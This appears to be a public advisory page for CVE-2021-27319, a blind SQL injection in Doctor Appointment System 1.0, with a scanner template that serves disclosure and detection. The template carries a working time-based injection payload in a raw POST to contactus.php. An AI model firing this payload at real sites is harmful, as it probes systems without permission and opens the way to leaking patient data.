CVE-2021-27319: Doctor Appointment System 1.0 - SQL Injection

2025-08-01 Doctor Appointment System 1.0 PoC Public

Description

Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via email parameter.

PoC

id: CVE-2021-27319

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via email parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27319
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27319
    cwe-id: CWE-89
    epss-score: 0.07826
    epss-percentile: 0.94365
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: time-based-sqli,cve2021,cve,packetstorm,sqli,doctor-appointment-system,doctor_appointment_system_project,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /contactus.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        firstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&comment={{randstr}}&submit=Send+Us

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 500'
          - 'contains(body, "Medical Management System")'
        condition: and
# digest: 4a0a00473045022100d012f17b5005738e0ffb73353224f0c161a646274383ec50703f643328118f420220781ef3b658e94ad1ff376dff75d3ad35d0bc29d582795d62b35727d1fd8520ba:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities